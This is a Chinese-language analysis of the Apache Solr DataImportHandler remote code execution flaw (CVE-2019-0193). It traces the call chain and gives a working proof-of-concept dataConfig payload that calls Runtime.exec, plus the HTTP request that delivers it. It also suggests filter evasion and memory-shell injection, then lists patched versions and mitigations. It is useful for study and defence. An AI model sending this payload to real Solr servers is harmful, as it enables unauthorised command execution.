CVE-2019-0193 Apache Solr远程命令执行漏洞分析
字数 1935 2025-08-27 12:33:43
Apache Solr远程命令执行漏洞(CVE-2019-0193)深入分析与利用指南
1. 漏洞概述
Apache Solr存在一个远程代码执行漏洞(CVE-2019-0193),攻击者可以利用dataConfig参数构造恶意请求,导致执行任意代码。该漏洞源于Solr的DataImportHandler功能,特别是其ScriptTransformer组件对用户输入的不当处理。
2. 前置知识
2.1 DataImportHandler功能
DataImportHandler(DIH)是Solr用于从数据库或其他数据源导入数据的组件,支持通过XML配置文件定义数据导入规则:
2.2 ScriptTransformer组件
ScriptTransformer允许使用脚本语言转换数据:
- 支持语言:JavaScript、JRuby、Jython、Groovy和BeanShell
- 脚本应写在数据仓库配置文件顶级的
<script>元素内 - 转换器属性值为
script:函数名
示例配置:
<dataConfig>
<script><![CDATA[
function f2c(row) {
var tempf, tempc;
tempf = row.get('temp_f');
if (tempf != null) {
tempc = (tempf - 32.0)*5.0/9.0;
row.put('temp_c', temp_c);
}
return row;
}
]]></script>
<document>
<entity name="e1" pk="id" transformer="script:f2c" query="select * from X">
</entity>
</document>
</dataConfig>
2.3 Nashorn引擎
Solr使用Nashorn引擎解析JavaScript脚本:
- Nashorn是Java 8中的JavaScript引擎,取代了Rhino
- 可以通过
Java.typeAPI在JavaScript中引用Java类 - 示例:
var MyJavaClass = Java.type('my.package.MyJavaClass');
var result = MyJavaClass.sayHello("Nashorn");
print(result);
3. 漏洞详细分析
3.1 请求处理流程
-
初始处理:
- 请求进入
dataimport/DataImportHandler的handleRequestBody方法 - 当command为
full-import时,通过maybeReloadConfiguration重新加载配置
- 请求进入
-
配置加载:
maybeReloadConfiguration通过params.getDataConfig()检查post的dataConfig数据- 非空时通过
loadDataConfig加载配置 readFromXml方法解析配置中的各个标签(document, script, function, dataSource等)- 自定义脚本存入script变量,构建
DIHConfiguration对象
-
导入执行:
- 通过
this.importer.runCmd()处理导入过程 doFullImport创建DocBuilder对象解析config结构- 最终得到
EntityProcessorWrapper对象
- 通过
3.2 漏洞触发点
-
ScriptTransformer处理:
- 当entity中含有Transformers时,会进行相应转换操作
ScriptTransformer允许执行用户自定义脚本- 恶意脚本通过
<script>标签注入
-
脚本执行机制:
- 通过
EntityProcessorWrapper.nextRow调用 applyTransformer()执行转换,调用相应Transformer的transformRow方法- 根据指定语言初始化解析引擎(如Nashorn)
- 通过
-
命令执行:
- Nashorn引擎允许通过
Java.type引用任意Java类 - 攻击者可利用此功能导入并执行危险类(如
java.lang.Runtime)
- Nashorn引擎允许通过
3.3 调用栈
DataImportHandler.handleRequestBody()
-> DataImporter.maybeReloadConfiguration()
-> DataImporter.loadDataConfig()
-> DIHConfiguration.readFromXml()
-> DataImporter.runCmd()
-> DataImporter.doFullImport()
-> DocBuilder.execute()
-> EntityProcessorWrapper.nextRow()
-> EntityProcessorWrapper.applyTransformer()
-> ScriptTransformer.transformRow()
-> Nashorn引擎执行恶意脚本
4. 漏洞利用
4.1 利用条件
- Solr启用了DataImportHandler功能
- 攻击者能够向DataImportHandler接口发送请求
4.2 利用方式
构造恶意dataConfig请求,示例PoC:
<dataConfig>
<script><![CDATA[
function poc(row) {
var Runtime = Java.type("java.lang.Runtime");
var Process = Runtime.getRuntime().exec("touch /tmp/poc");
return row;
}
]]></script>
<document>
<entity name="entity1" transformer="script:poc" query="SELECT * FROM X">
</entity>
</document>
</dataConfig>
通过HTTP请求发送:
POST /solr/corename/dataimport HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
command=full-import&dataConfig=...上面恶意XML...
4.3 利用增强
- 使用Base64编码绕过简单过滤
- 多语言利用(除JavaScript外,还可尝试JRuby、Jython等)
- 内存马注入
5. 修复方案
5.1 官方修复
升级到Solr安全版本:
- Solr 8.1.1
- Solr 7.7.2
- Solr 6.6.5
5.2 临时缓解措施
注意:仅清空index core的配置文件不能缓解漏洞,必须:
- 注释solrconfig.xml中所有dataimport requestHandler配置:
<!--
<requestHandler name="/dataimport" class="org.apache.solr.handler.dataimport.DataImportHandler">
<lst name="defaults">
<str name="config">data-config.xml</str>
</lst>
</requestHandler>
-->
- 重启Solr服务器
5.3 防护建议
- 禁用不必要的DataImportHandler功能
- 实施网络访问控制,限制Solr管理接口访问
- 监控可疑的dataimport请求
6. 参考资源
- 官方通告:SOLR-13669
- DataImportHandler文档:官方指南
- Nashorn引擎文档:Oracle文档